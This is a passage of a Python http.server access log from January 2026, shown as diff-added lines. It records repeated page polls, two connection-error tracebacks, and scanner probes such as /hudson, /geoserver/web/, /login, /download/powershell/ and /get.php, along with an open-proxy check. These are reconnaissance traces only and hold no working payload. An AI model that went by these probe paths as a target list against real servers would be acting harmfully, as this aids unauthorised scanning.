HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 11:20:50] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 11:23:27] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 11:26:55] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 11:29:44] "GET / HTTP/1.1" 200 - +---------------------------------------- +Exception occurred during processing of request from ('185.16.39.146', 57226) +194.164.107.6 - - [03/Jan/2026 11:31:03] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 11:32:36] "GET / HTTP/1.1" 200 - +Traceback (most recent call last): + File "/usr/lib/python3.10/socketserver.py", line 683, in process_request_thread + self.finish_request(request, client_address) + File "/usr/lib/python3.10/http/server.py", line 1304, in finish_request + self.RequestHandlerClass(request, client_address, self, + File "/usr/lib/python3.10/http/server.py", line 668, in __init__ + super().__init__(*args, **kwargs) + File "/usr/lib/python3.10/socketserver.py", line 747, in __init__ + self.handle() + File "/usr/lib/python3.10/http/server.py", line 433, in handle + self.handle_one_request() + File "/usr/lib/python3.10/http/server.py", line 421, in handle_one_request + method() + File "/usr/lib/python3.10/http/server.py", line 675, in do_GET + self.copyfile(f, self.wfile) + File "/usr/lib/python3.10/http/server.py", line 875, in copyfile + shutil.copyfileobj(source, outputfile) + File "/usr/lib/python3.10/shutil.py", line 198, in copyfileobj + fdst_write(buf) + File "/usr/lib/python3.10/socketserver.py", line 826, in write + self._sock.sendall(b) +BrokenPipeError: [Errno 32] Broken pipe +---------------------------------------- +185.16.39.146 - - [03/Jan/2026 11:36:15] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 11:38:41] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 11:42:12] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 11:44:33] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 11:49:01] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 11:51:58] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 11:54:17] "GET / HTTP/1.1" 200 - +89.205.41.51 - - [03/Jan/2026 11:55:41] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 11:57:53] "GET / HTTP/1.1" 200 - +167.94.138.177 - - [03/Jan/2026 11:58:49] code 400, message Bad request version ('À\\x14À') +167.94.138.177 - - [03/Jan/2026 11:58:49] "\x16\x03\x01\x00î\x01\x00\x00ê\x03\x03NÛrö-q£)2R§\x8eÈ\x1añ'´\x18Ò\x80\x19äúÓ¿ÝÌ\x11«\x89\x9aÒ õݧ\x13F«¹B9©\x9b\x96w®c2\x1e\x82«ã0\x02íè\x8b\x02\x8cõôyPK\x00&̨̩À/À0À+À,À\x13À\x09À\x14À" 400 - +167.94.138.177 - - [03/Jan/2026 11:58:50] "GET / HTTP/1.1" 200 - +167.94.138.177 - - [03/Jan/2026 11:58:52] code 505, message Invalid HTTP version (2.0) +167.94.138.177 - - [03/Jan/2026 11:58:52] "PRI * HTTP/2.0" 505 - +167.94.138.177 - - [03/Jan/2026 11:58:54] code 404, message File not found +167.94.138.177 - - [03/Jan/2026 11:58:54] "GET /favicon.ico HTTP/1.1" 404 - +167.94.138.177 - - [03/Jan/2026 11:59:00] code 400, message Bad request version ('À\\x14À') +167.94.138.177 - - [03/Jan/2026 11:59:00] "\x16\x03\x01\x00î\x01\x00\x00ê\x03\x03\x983³\x03\x85\x80ÜDÁ\x16\x91ºÞ¡]{ú\x7f\x9d©¦ûX\x88\x9f\x9bn\x0b\x91\x074ü 9þ7\x0fÿÅ©'÷´\x04\x8b3\x9eo,<\x1aô\x00ll17\x19üùÖ÷á5¹\x00&̨̩À/À0À+À,À\x13À\x09À\x14À" 400 - +167.94.138.177 - - [03/Jan/2026 11:59:01] code 404, message File not found +167.94.138.177 - - [03/Jan/2026 11:59:01] "GET /login HTTP/1.1" 404 - +185.16.39.146 - - [03/Jan/2026 12:01:14] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 12:03:39] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 12:06:49] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 12:09:53] "GET / HTTP/1.1" 200 - +204.76.203.212 - - [03/Jan/2026 12:13:10] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 12:14:40] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 12:17:21] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 12:20:06] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 12:23:52] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 12:26:10] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 12:29:50] "GET / HTTP/1.1" 200 - +95.189.103.240 - - [03/Jan/2026 12:30:06] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 12:32:45] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 12:35:47] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 12:39:58] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 12:42:57] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 12:45:27] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 12:49:13] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 12:51:36] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 12:54:54] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 12:58:37] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 13:01:50] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 13:04:11] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 13:07:32] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 13:11:02] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 13:13:45] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 13:17:04] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 13:20:06] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 13:22:57] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 13:26:41] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 13:30:08] "GET / HTTP/1.1" 200 - +184.105.139.69 - - [03/Jan/2026 13:33:07] "GET / HTTP/1.1" 200 - +184.105.139.121 - - [03/Jan/2026 13:33:37] code 404, message File not found +184.105.139.121 - - [03/Jan/2026 13:33:37] "GET /favicon.ico HTTP/1.1" 404 - +185.16.39.146 - - [03/Jan/2026 13:33:51] "GET / HTTP/1.1" 200 - +184.105.139.77 - - [03/Jan/2026 13:33:51] code 404, message File not found +184.105.139.77 - - [03/Jan/2026 13:33:51] "GET http://api.ipify.org/?format=json HTTP/1.1" 404 - +184.105.139.109 - - [03/Jan/2026 13:33:57] code 501, message Unsupported method ('CONNECT') +184.105.139.109 - - [03/Jan/2026 13:33:57] "CONNECT www.shadowserver.org:443 HTTP/1.1" 501 - +184.105.139.69 - - [03/Jan/2026 13:34:04] code 404, message File not found +184.105.139.69 - - [03/Jan/2026 13:34:04] "GET /geoserver/web/ HTTP/1.1" 404 - +185.16.39.146 - - [03/Jan/2026 13:36:54] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 13:39:19] "GET / HTTP/1.1" 200 - +45.115.255.89 - - [03/Jan/2026 13:40:39] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 13:43:19] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 13:46:17] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 13:49:11] "GET / HTTP/1.1" 200 - +104.248.233.17 - - [03/Jan/2026 13:50:17] code 400, message Bad request version ('À\\x14À') +104.248.233.17 - - [03/Jan/2026 13:50:17] "\x16\x03\x01\x00{\x01\x00\x00w\x03\x03\x9e~I\x1d\x04ô\x82\x15¼)+\x98\x05\x92'xT\x0bE\x9bmðÕ\x93¿s\x9d°IäÇT\x00\x00\x1aÀ/À+À\x11À\x07À\x13À\x09À\x14À" 400 - +104.248.233.17 - - [03/Jan/2026 13:50:17] code 400, message Bad request version ('À\\x14À') +104.248.233.17 - - [03/Jan/2026 13:50:17] "\x16\x03\x01\x00{\x01\x00\x00w\x03\x03êúOÒü\x87q\x96,2ÅUÿ¼Æ¢\x0dEÃ\x95\x84\x8cZù\x07\x85Õ)ÖC>w\x00\x00\x1aÀ/À+À\x11À\x07À\x13À\x09À\x14À" 400 - +104.248.233.17 - - [03/Jan/2026 13:50:17] "GET / HTTP/1.1" 200 - +104.248.233.17 - - [03/Jan/2026 13:50:17] code 404, message File not found +104.248.233.17 - - [03/Jan/2026 13:50:17] "GET /download/powershell/ HTTP/1.1" 404 - +104.248.233.17 - - [03/Jan/2026 13:50:18] code 404, message File not found +104.248.233.17 - - [03/Jan/2026 13:50:18] "GET /get.php HTTP/1.1" 404 - +185.16.39.146 - - [03/Jan/2026 13:52:48] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 13:56:24] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 13:58:57] "GET / HTTP/1.1" 200 - +91.224.92.121 - - [03/Jan/2026 14:02:33] code 501, message Unsupported method ('OPTIONS') +91.224.92.121 - - [03/Jan/2026 14:02:33] "OPTIONS / HTTP/1.1" 501 - +185.16.39.146 - - [03/Jan/2026 14:02:34] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 14:05:35] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 14:08:02] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 14:12:00] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 14:15:05] "GET / HTTP/1.1" 200 - +172.236.228.111 - - [03/Jan/2026 14:15:25] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 14:18:39] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 14:21:33] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 14:24:38] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 14:27:54] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 14:30:52] "GET / HTTP/1.1" 200 - +20.163.60.142 - - [03/Jan/2026 14:32:32] code 404, message File not found +20.163.60.142 - - [03/Jan/2026 14:32:32] "GET /hudson HTTP/1.1" 404 - +185.16.39.146 - - [03/Jan/2026 14:34:28] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 14:37:31] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 14:40:40] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 14:44:16] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 14:47:05] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 14:49:54] "GET / HTTP/1.1" 200 - +204.76.203.214 - - [03/Jan/2026 14:51:29] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 14:53:32] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 14:56:24] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 14:59:58] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 15:03:23] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 15:06:22] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 15:09:50] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 15:13:19] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 15:16:07] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 15:19:04] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 15:21:47] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 15:25:49] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 15:28:20] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 15:31:04] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 15:34:57] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 15:38:16] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 15:42:17] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 15:45:01] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 15:48:27] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 15:51:11] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 15:55:11] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 15:57:46] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 16:00:55] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 16:04:12] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 16:07:18] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 16:09:58] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 16:13:51] "GET / HTTP/1.1" 200 - +91.200.220.115 - - [03/Jan/2026 16:14:05] code 404, message File not found +91.200.220.115 - - [03/Jan/2026 16:14:05] "GET /login HTTP/1.1" 404 - +185.16.39.146 - - [03/Jan/2026 16:16:28] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 16:19:24] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 16:22:34] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 16:25:34] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 16:29:22] "GET / HTTP/1.1" 200 - +89.42.231.239 - - [03/Jan/2026 16:29:26] "GET / HTTP/1.1" 200 - +130.12.180.2 - - [03/Jan/2026 16:31:09] code 404, message File not found +130.12.180.2 - - [03/Jan/2026 16:31:09] "GET /login HTTP/1.1" 404 - +185.16.39.146 - - [03/Jan/2026 16:32:21] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 16:35:02] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 16:38:42] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 16:42:08] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 16:44:24] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 16:47:22] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 16:51:21] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 16:53:54] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 16:56:49] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 17:00:33] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 17:03:47] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 17:06:19] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 17:09:50] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 17:12:58] "GET / HTTP/1.1" 200 - +204.76.203.212 - - [03/Jan/2026 17:13:49] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 17:16:06] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 17:19:28] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 17:22:26] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 17:25:16] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 17:28:14] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 17:31:52] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 17:34:38] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 17:37:47] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 17:41:14] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 17:44:52] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 17:47:11] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 17:50:10] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 17:54:03] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 17:56:38] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 17:59:16] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 18:03:45] "GET / HTTP/1.1" 200 - +204.76.203.212 - - [03/Jan/2026 18:05:03] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 18:06:48] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 18:09:26] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 18:12:05] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 18:15:27] "GET / HTTP/1.1" 200 - +44.204.29.60 - - [03/Jan/2026 18:15:30] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 18:18:13] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 18:21:23] "GET / HTTP/1.1" 200 - +141.98.11.140 - - [03/Jan/2026 18:23:13] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 18:24:46] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 18:28:03] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 18:30:38] "GET / HTTP/1.1" 200 - +64.227.76.184 - - [03/Jan/2026 18:32:47] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 18:34:13] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 18:37:16] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 18:40:38] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 18:43:14] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 18:46:09] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 18:49:14] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 18:53:03] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 18:55:18] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 18:58:13] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 19:02:08] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 19:05:07] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 19:07:38] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 19:11:19] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 19:14:38] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 19:17:36] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 19:20:59] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 19:23:29] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 19:27:04] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 19:29:31] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 19:32:55] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 19:35:40] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 19:39:43] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 19:42:29] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 19:45:04] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 19:49:38] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 19:52:25] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 19:55:54] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 19:59:01] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 20:01:35] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 20:05:11] "GET / HTTP/1.1" 200 - +85.217.140.4 - - [03/Jan/2026 20:05:23] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 20:08:04] "GET / HTTP/1.1" 200 - +204.76.203.212 - - [03/Jan/2026 20:09:02] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 20:11:47] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 20:14:55] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 20:17:57] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 20:21:14] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 20:24:41] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 20:27:57] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 20:30:58] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 20:33:30] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 20:37:33] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 20:40:36] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 20:43:04] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 20:46:29] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 20:49:53] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 20:52:50] "GET / HTTP/1.1" 200 - +47.254.244.66 - - [03/Jan/2026 20:54:10] "GET / HTTP/1.1" 200 - +198.44.137.54 - - [03/Jan/2026 20:54:52] "GET / HTTP/1.1" 200 - +79.127.254.133 - - [03/Jan/2026 20:54:53] "GET / HTTP/1.1" 200 - +79.127.254.133 - - [03/Jan/2026 20:54:54] "GET /game.js HTTP/1.1" 200 - +79.127.254.133 - - [03/Jan/2026 20:54:59] code 404, message File not found +79.127.254.133 - - [03/Jan/2026 20:54:59] "GET /favicon.ico HTTP/1.1" 404 - +185.16.39.146 - - [03/Jan/2026 20:55:33] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 20:59:23] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 21:01:43] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 21:04:34] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 21:07:51] "GET / HTTP/1.1" 200 - +---------------------------------------- +Exception occurred during processing of request from ('66.132.153.49', 7256) +Traceback (most recent call last): + File "/usr/lib/python3.10/socketserver.py", line 683, in process_request_thread + self.finish_request(request, client_address) + File "/usr/lib/python3.10/http/server.py", line 1304, in finish_request + self.RequestHandlerClass(request, client_address, self, + File "/usr/lib/python3.10/http/server.py", line 668, in __init__ + super().__init__(*args, **kwargs) + File "/usr/lib/python3.10/socketserver.py", line 747, in __init__ + self.handle() + File "/usr/lib/python3.10/http/server.py", line 433, in handle + self.handle_one_request() + File "/usr/lib/python3.10/http/server.py", line 401, in handle_one_request + self.raw_requestline = self.rfile.readline(65537) + File "/usr/lib/python3.10/socket.py", line 705, in readinto + return self._sock.recv_into(b) +ConnectionResetError: [Errno 104] Connection reset by peer +---------------------------------------- +66.132.153.49 - - [03/Jan/2026 21:09:42] "GET / HTTP/1.1" 200 - +66.132.153.49 - - [03/Jan/2026 21:09:45] code 400, message Bad request version ('©³D)N®D') +66.132.153.49 - - [03/Jan/2026 21:09:45] "\x16\x03\x01\x00î\x01\x00\x00ê\x03\x03\x06+Ä\x0dê\\\x00¯\x10µ\x93\x1e¿\x946)\x8c\x8f\x17\x17(?¼2o:ÿ;9axÌ ÷Áõ\x19º \x9amy\x81i\x88\x1f©³D)N®D" 400 - +66.132.153.49 - - [03/Jan/2026 21:09:46] "GET / HTTP/1.1" 200 - +66.132.153.49 - - [03/Jan/2026 21:09:46] code 505, message Invalid HTTP version (2.0) +66.132.153.49 - - [03/Jan/2026 21:09:46] "PRI * HTTP/2.0" 505 - +66.132.153.49 - - [03/Jan/2026 21:09:46] code 404, message File not found +66.132.153.49 - - [03/Jan/2026 21:09:46] "GET /favicon.ico HTTP/1.1" 404 - +66.132.153.49 - - [03/Jan/2026 21:09:49] code 400, message Bad request version ('À\\x14À') +66.132.153.49 - - [03/Jan/2026 21:09:49] "\x16\x03\x01\x00î\x01\x00\x00ê\x03\x03\x1dð\x19¶¹\x8e\x1d¤òNÞ.¹Qö¨\x9a\x8f\x1ak~\x7fÀÒ\x11ß(¡Æÿ?\x9a \x01?`70³^!ø\x04alÕ\x12WtP\x0bë\x04º=\x14d\x09LÅų\x99\x9a\x88\x00&̨̩À/À0À+À,À\x13À\x09À\x14À" 400 - +66.132.153.49 - - [03/Jan/2026 21:09:50] code 404, message File not found +66.132.153.49 - - [03/Jan/2026 21:09:50] "GET /robots.txt HTTP/1.1" 404 - +185.16.39.146 - - [03/Jan/2026 21:11:17] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 21:14:27] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 21:16:55] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 21:20:44] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 21:23:14] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 21:26:40] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 21:30:10] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 21:32:39] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 21:36:17] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 21:39:51] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 21:42:45] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 21:45:49] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 21:49:20] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 21:52:25] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 21:54:59] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 21:58:57] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 22:01:44] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 22:05:21] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 22:08:42] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 22:11:30] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 22:14:43] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 22:18:18] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 22:21:35] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 22:24:48] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 22:28:07] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 22:31:15] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 22:34:05] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 22:37:22] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 22:40:49] "GET / HTTP/1.1" 200 - +147.185.132.97 - - [03/Jan/2026 22:43:54] "GET / HTTP/1.0" 200 - +205.210.31.52 - - [03/Jan/2026 22:44:08] code 400, message Bad request syntax ('\\x16\\x03\\x01\\x00î\\x01\\x00\\x00ê\\x03\\x03n\\x07¢Hès»áƾI´xÌ\\x95\\x84') +205.210.31.52 - - [03/Jan/2026 22:44:08] "\x16\x03\x01\x00î\x01\x00\x00ê\x03\x03n\x07¢Hès»áƾI´xÌ\x95\x84" 400 - +205.210.31.52 - - [03/Jan/2026 22:44:08] code 400, message Bad request version ('À(À$À\\x14À') +205.210.31.52 - - [03/Jan/2026 22:44:08] "\x16\x03\x01\x00Ê\x01\x00\x00Æ\x03\x03°Dí4ì\x9c³\x9c¼%\x1fF\x8eBÍe¿©!M'\x8c\x92±FÈ\x1c\x9f°\x0eÞú\x00\x00hÌ\x14Ì\x13À/À+À0À,À\x11À\x07À'À#À\x13À\x09À(À$À\x14À" 400 - +185.16.39.146 - - [03/Jan/2026 22:44:22] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 22:47:22] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 22:50:00] "GET / 